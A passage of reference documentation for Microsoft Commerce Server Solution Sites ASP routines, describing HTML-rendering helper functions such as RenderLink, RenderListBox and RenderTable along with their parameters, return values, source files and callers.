colRenderForeignKeyProperty

colRenderPrimaryKeyProperty

colRenderUniqueKeyProperty

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderUniqueIDForProfile

htmRenderVerifyWithForm

Main (product.asp)

rowRenderHiddenProperty

ShowRefinedSearch

tableRenderMessageBoxPageButtons

tableRenderOrdersListContents


RenderImage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an IMG element for which other attribute values are supplied by the parameters.

Definition

Function RenderImage(
  byVal urlSource,
  byVal iWidth,
  byVal iHeight,
  byVal sDesc,
  byVal sAttList
)

Parameters

urlSource
A string containing a URL to be assigned to the SRC attribute.
iWidth
A string containing a value to be assigned to the WIDTH attribute.
iHeight
A string containing a value to be assigned to the HEIGHT attribute.
sDesc
A string containing text to be assigned to the ALT attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the IMG element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified image.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties


RenderImageButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "IMAGE", and for which other attribute values are supplied by the parameters.

Definition

Function RenderImageButton(
  byVal sImageName,
  byVal sImageSource,
  byVal sAttList
)

Parameters

sImageName
A string containing text to be assigned to the NAME attribute.
sImageSource
A string containing a URL to be assigned to the SRC attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified image button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


RenderLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link (an HTML A element) for which the attribute values and hot text are supplied by the parameters.

Definition

Function RenderLink(
  byVal url,
  byVal htmText,
  byVal sAttList
)

Parameters

url
A string containing a URL to be assigned to the HREF attribute.
htmText
A string containing the hot text of the link. In other words, the text to appear between the <A> tag and the </A> tag.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the starting A element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified link.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

htmRenderAddressBookPage

htmRenderAddressRows

htmRenderBasket

htmRenderCategoryPage

htmRenderConfirmationPage

htmRenderCustomerServiceSection

htmRenderLoginPage

htmRenderLoginSection

htmRenderLogoffPage

htmRenderOrderForm

htmRenderPartnerServiceSection

htmRenderPickshipForm

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

Main (error\badurl.asp)

Main (error\noauth.asp)

Main (error\profile.asp)

Main (welcome.asp)

RenderBasketPage

RenderCatalogLink

RenderCategoryLink

RenderNavbar

RenderProductLink


RenderListBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters.

Definition

Function RenderListBox(
  byVal iSource,
  byVal sName,
  colItemNames,
  colItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

iSource
A number that specifies the type of the colItemNames and colItemValues parameters. Legal values are the constants SIMPLELIST_COLLECTION, DICTIONARY_COLLECTION, and ARRAY_COLLECTION, each specifying the indicated type of collection.
sName
A string containing a value to be assigned to the NAME attribute.
colItemNames
A SimpleList object, a Dictionary object, or an array that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements. The iSource parameter specifies the type of this parameter.
colItemValues
A SimpleList object, a Dictionary object, or an array that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements. The iSource parameter specifies the type of this parameter.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderListBoxFromArray

RenderListBoxFromSimpleList

Remarks

The pair of SimpleList objects, Dictionary objects, or arrays specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListBoxFromArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant ARRAY_COLLECTION, and passing through all other parameters as is.

Definition

Function RenderListBoxFromArray(
  byVal sName,
  arrItemNames,
  arrItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
arrItemNames
An array that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements.
arrItemValues
An array that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

RenderListBox

Called By

ShowRefinedSearch

Remarks

The pair of arrays specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListBoxFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant SIMPLELIST_COLLECTION, and passing through all other parameters as is.

Definition

Function RenderListBoxFromSimpleList(
  byVal sName,
  listItemNames,
  listItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
listItemNames
A SimpleList object that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements.
listItemValues
A SimpleList object that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

RenderListBox

Called By

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

Remarks

The pair of SimpleList objects specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a sequence of formatted text items, each followed by the BR element.

Definition

Function RenderListFromSimpleList(
  listItems,
  style
)

Parameters

listItems
A SimpleList object containing strings to be rendered using the FONT element attributes specified by the style parameter, and each followed by a BR element.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified list of formatted text items, where each item is followed by a BR element so that it will render on its own line.

Defined in File

include\html_lib.asp

Routines Called

RenderText

Called By

None.


RenderNavbar - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the navigation bar, which includes links to the home page, the catalog, and the basket, surrounded by square brackets.

Definition

Function RenderNavbar(
  byVal style
)

Parameters

style
This parameter is not used.

Return Value

A string containing the HTML that will render the navigation bar.

Defined in File

template\navbar.inc

Routines Called

CacheFragment

GenerateURL

LookupCachedFragment

RenderLink

RenderText

Tag

Called By

This routine is called by code outside of any routine (sub or function) in the file template\navbar.inc.


RenderPageInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents of the server request variables REQUEST_METHOD and SCRIPT_NAME, and is called as part of the error information formatted by the function RenderDetailedInfoList.

Definition

Function RenderPageInfo()

Return Value

A string containing the HTML that will render the contents of the server request variables REQUEST_METHOD and SCRIPT_NAME.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderPasswordBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "PASSWORD", and for which other attribute values are supplied by the parameters.

Definition

Function RenderPasswordBox(
  byVal sName,
  byVal sValue,
  byVal iSize,
  byVal iMaxLength,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
iSize
A number containing a value to be assigned to the SIZE attribute.
iMaxLength
A number containing a value to be assigned to the MAXLENGTH attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified password box.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderPasswordProperty

htmRenderFillOutForm

tableRenderChangePasswordContents


RenderPostData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents of a posted form, and is called as part of the error information formatted by the function RenderDetailedInfoList. Only the first lngMaxFormBytes will be included, and the contents will be HTML encoded.

Definition

Function RenderPostData()

Return Value

A string containing the HTML that will render the first lngMaxFormBytes bytes of the posted form.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderPreFormattedText - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the passed string as pre-formatted text.

Definition

Function RenderPreFormattedText(
  byVal s,
  byVal style
)

Parameters

s
A string containing the text to be placed within PRE tags.
style
This parameter is not used.

Return Value

A string containing the contents of the s parameters, surrounded with <PRE> and </PRE> tags.

Defined in File

include\html_lib.asp

Routines Called

Tag

Called By

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions


RenderProductLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the product specified by the parameters, using the specified FONT element attributes for the link text style.

Definition

Function RenderProductLink(
  sCatalogName,
  sProductCategory,
  sProductName,
  sProductID,
  style
)

Parameters

sCatalogName
A string that specifies the name of the catalog in which the product appears, used to construct the URL for the link.
sProductCategory
A string that specifies the name of the category in which the product appears, used to construct the URL for the link.
sProductName
A string that specifies the name of the product, used for the hot text of the link.
sProductID
A string that specifies the product ID, used to construct the URL for the link.
style
A string that contains attributes appropriate for the FONT element, used when rendering the hot text of the link.

Return Value

A string containing the HTML that will render the constructed product link.

Defined in File

include\catalog.asp

Routines Called

RenderLink

RenderProductURL

RenderText

Called By

htmRenderProductsTable

RenderSearchResultRow

ShowSearchMatches


RenderProductURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for the specified product.

Definition

Function RenderProductURL(
  sCatalogName,
  sProductCategory,
  sProductID
)

Parameters

sCatalogName
A string that specifies the name of the catalog in which the product appears, used to construct the URL for the product.
sProductCategory
A string that specifies the name of the category in which the product appears, used to construct the URL for the product.
sProductID
A string that specifies the product ID, used to construct the URL for the product.

Return Value

A string containing the URL for the product.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

RenderProductLink


RenderRadioButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RADIO", and for which other attribute values are supplied by the parameters.

Definition

Function RenderRadioButton(
  byVal sName,
  byVal sValue,
  byVal bChecked,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
bChecked
A Boolean, which if set to True, results in the CHECKED attribute being present in the resulting HTML.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified radio button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

arrPopulateOrderHeaderDetails

htmRenderAddressRows

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderUniqueIDForProfile

htmRenderVariantsList


RenderResetButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RESET", and for which other attribute values are supplied by the parameters.

Definition

Function RenderResetButton(
  byVal sBtnName,
  byVal sBtnText,
  byVal sAttList
)

Parameters

sBtnName
A string containing a value to be assigned to the NAME attribute.
sBtnText
A string containing a value to be assigned to the VALUE attribute, which will appear as the text of the Reset button.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified Reset button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderFillOutForm


RenderSearchResultRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the current record from a Recordset object containing search results.

Definition

Function RenderSearchResultRow(
  rsResult,
  style
)

Parameters

rsResult
A Recordset object from which the current record will be used to provide data for the HTML to be constructed.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the current record from the passed search results Recordset object.

Defined in File

include\catalog.asp

Routines Called

FormatOutput

RenderCategoryLink

RenderProductLink

RenderText

Called By

RenderSearchResults


RenderSearchResults - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the search results contained in the passed Recordset object.

Definition

Function RenderSearchResults(
  byVal sPhrase,
  byVal rsResult,
  byVal iRecordCount,
  byVal style
)

Parameters

sPhrase
A string containing the search criteria, to be included in the resulting HTML.
rsResult
A Recordset object containing the search results to include in the resulting HTML.
iRecordCount
A number specifying the number of records in the Recordset object specified by the rsResult parameter, to be included in the resulting HTML.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the search results contained in the passed Recordset object.

Defined in File

include\catalog.asp

Routines Called

RenderSearchResultRow

RenderText

Called By

htmRenderFullTextSearchResults


RenderSubmitButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "SUBMIT", and for which other attribute values are supplied by the parameters.

Definition

Function RenderSubmitButton(
  byVal sBtnName,
  byVal sBtnText,
  byVal sAttList
)

Parameters

sBtnName
A string containing a value to be assigned to the NAME attribute.
sBtnText
A string containing a value to be assigned to the VALUE attribute, which will appear as the text of the Submit button.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified Submit button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderForeignKeyProperty

colRenderPasswordProperty

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderAddressBook

htmRenderBasket

htmRenderCheckoutButton

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

Main (product.asp)

ShowRefinedSearch

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderListPageTasks

tableRenderMessageBoxPageButtons

tableRenderOrdersListTasks

tblOrderDetailsTasks


RenderTable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a TABLE element for which the attributes and content are supplied by the parameters.

Definition

Function RenderTable(
  byVal htmRows,
  byVal sAttList
)

Parameters

htmRows
A string containing the contents of the table, presumably a series of TR elements.
sAttList
A string containing any space-separated "attribute=value" pairs to be included in the starting TABLE tag. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified table.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions

htmRenderAddressRows

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderEmptyRecordSet

htmRenderFillOutForm

htmRenderMenu

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderProductsTable

htmRenderProfilesList

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

tableChangePasswordTasks

tableRenderBlankProfile

tableRenderChangePasswordContents

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

tableRenderMultipleRecords

tableRenderOrdersListContents

tableRenderOrdersListTasks

tableRenderProfiles

tblOrderDetailsTasks

tblRenderOrderDetailsContents


RenderTableDataRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row of data within a table. In other words, a series of TD elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant DATA_ROW, and passing through all other parameters as is.

Definition

Function RenderTableDataRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList
)

Parameters

arrData
An array of data to be displayed in the row, one array element per table column (TD element). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TD element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TD elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.

Return Value

A string containing the HTML that will render the specified row of data in the table.

Defined in File

include\html_lib.asp

Routines Called

RenderTableRow

Called By

htmRenderAddressRows

htmRenderBasket

htmRenderFillOutForm

htmRenderGrandTotals

htmRenderOrderForm

htmRenderProductsTable

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderTableHeaderRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header row within a table. In other words, a series of TH elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant HEADER_ROW, and passing through all other parameters as is.

Definition

Function RenderTableHeaderRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList
)

Parameters

arrData
An array of header strings to be displayed in the row, one array element per table column (TH element). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TH element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TH elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.

Return Value

A string containing the HTML that will render the specified header row in the table.

Defined in File

include\html_lib.asp

Routines Called

RenderTableRow

Called By

htmRenderAddressRows

htmRenderBasket

htmRenderOrderForm

htmRenderProductsTable

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderTableRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header or data row within a table. In other words, a series of either TH or TD elements wrapped in a TR element. It performs the real work for the functions RenderTableHeaderRow and RenderTableDataRow, which hardcode the iRowType parameter to the constants HEADER_ROW and DATA_ROW, respectively, and passing through all other parameters as is.

Definition

Function RenderTableRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList,
  byVal iRowType
)

Parameters

arrData
An array of header strings or data to be displayed in the row, one array element per table column (either TH or TD elements, depending on the value of the iRowType parameter). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TH or TD element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TH or TD elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.
iRowType
A number which must be set to one of the two constants HEADER_ROW or DATA_ROW, specifying the use of TH or TD tags, respectively.

Return Value

A string containing the HTML that will render the specified header or data row in the table.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderTableDataRow

RenderTableHeaderRow

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderText - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the specified string wrapped in FONT tags, and assigned the specified FONT-specific attributes.

Definition

Function RenderText(
  byVal str,
  byVal sAttList
)

Parameters

str
A string containing the text to be wrapped in FONT tags.
sAttList
A string containing a space-separated list of "attribute=value" pairs to be associated with the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the passed string as specified by the FONT-specific attributes in the sAttList parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

bFullTextResultsAreCached

colRenderPropertyTip

htmCategoryHTML

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressForm

htmRenderAddressRows

htmRenderBasket

htmRenderBasketWarnings

htmRenderBlankEditPage

htmRenderBuiltInProperties

htmRenderCatalogSection

htmRenderCategoryPage

htmRenderChangePasswordPage

htmRenderConfirmationPage

htmRenderCreditCardPage

htmRenderCurrency

htmRenderCustomerServiceSection

htmRenderDefaultPage

htmRenderEditPage

htmRenderFillOutForm

htmRenderFullTextSearchResults

htmRenderLoginPage

htmRenderLoginSection

htmRenderLogoffPage

htmRenderNewUserPage

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderPartnerServiceSection

htmRenderPaymentOptionsForUser

htmRenderPaymentOptionsPage

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

htmRenderStepSearchPageContent

htmRenderSummaryPage

htmRenderUserDefinedProductProperties

Main (addrform.asp)

Main (error\baditem.asp)

Main (error\badurl.asp)

Main (error\closed.asp)

Main (error\construc.asp)

Main (error\noauth.asp)

Main (error\profile.asp)

Main (product.asp)

Main (services\error\badaction.asp)

Main (services\error\noaccess.asp)

Main (services\error\noorder.asp)

Main (services\error\noorgprofile.asp)

Main (services\error\noprofile.asp)

Main (welcome.asp)

RenderBasketPage

RenderCatalogLink

RenderCategoryLink

RenderListFromSimpleList

RenderNavbar

RenderProductLink

RenderSearchResultRow

RenderSearchResults

RenderUnorderedList

rowRenderStatusInfo

ShowRefinedSearch

ShowSearchMatches

tableRenderFooterInfo


RenderTextBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "TEXT", and for which other attribute values are supplied by the parameters.

Definition

Function RenderTextBox(
  byVal sName,
  byVal sValue,
  byVal iSize,
  byVal iMaxLength,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
iSize
A number containing a value to be assigned to the SIZE attribute.
iMaxLength
A number containing a value to be assigned to the MAXLENGTH attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified text box.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderPrimaryKeyProperty

colRenderProperty

colRenderUniqueKeyProperty

formRenderPagingButtons

htmRenderBasket

htmRenderFillOutForm

htmRenderSearchSection

Main (product.asp)

rowRenderAdvancedSearchOptionsForOrders

rowRenderSearchOptionForDate

rowRenderSearchOptionForString


RenderTime - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the current time, appropriately formatted, and is called as part of the error information formatted by the function RenderDetailedInfoList.

Definition

Function RenderTime()

Return Value

A string containing the HTML that will render the current time, appropriately formatted.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderUnorderedList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an unordered list from the data in the passed array. In other words, a series of LI elements wrapped in a UL element.

Definition

Function RenderUnorderedList(
  byVal arrItem,
  byVal sty
)

Parameters

arrItem
An array of data for which each contained element will be wrapped in an LI element.
sty
A string containing a space-separated list of "attribute=value" pairs appropriate for the FONT element, within which each item within the array specified by the arrItem parameter will be wrapped. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the data specified by the arrItem parameter as an unordered list, where the font of each list item is styled as specified by the sty parameter.

Defined in File

include\html_lib.asp

Routines Called

RenderText

Called By

htmRenderOrderForm

Main (error\baditem.asp)

Main (error\badurl.asp)


RenderUnorderedListFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of list elements from the data in the passed SimpleList object. In other words, a series of LI elements.

Definition

Function RenderUnorderedListFromSimpleList(
  listItems,
  byVal sAttList
)

Parameters

listItems
A SimpleList object containing the strings to be displayed in the list, one string per list item.
sAttList
A string containing a space-separated list of "attribute=value" pairs appropriate for the LI element, to be associated with each LI element in the resulting string. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the data specified by the listItems parameter as a series of LI elements, which must then be appropriately wrapped outside this function (for example, in an OL or UL element).

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.

Remarks

Despite its name, this function only produces a series of LI elements, and does not wrap them in an UL element. Since the caller must provide this functionality, you could wrap the list in either an OL or an UL element.


rowRenderAdvancedSearchOptionsForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render advanced search options within the orders form in Partner Services.

Definition

Function rowRenderAdvancedSearchOptionsForOrders(
  byVal dictSearchOptions,
  byVal mscsUserProfile
)

Defined in File

services\include\render_orders.asp

Routines Called

GetRequestString

htmRenderBlankSpaces

RenderTextBox

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

TRTag

Called By

formRenderOrderSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderBlankProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a blank property. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.

An additional row is added if there is an error associated with the property. This second row contains three cells: two blank cells followed by a cell in which a validation failure message can be displayed.

Definition

Function rowRenderBlankProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

colRenderProperty

rowRenderPropertyTip

sRenderHTMLPreFixForProperty

TRTag

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

Called By

tableRenderBlankProfile

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderEditSheetBlankLine - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a blank line in an edit sheet table.

Definition

Function rowRenderEditSheetBlankLine()

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderHeader - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function allows you to put a common toolbar (containing, for example, a Help button) at the top of every page. It currently does nothing.

Definition

Function rowRenderHeader()

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderDetails

htmRenderOrderList

htmRenderProfilesList

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderHiddenProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

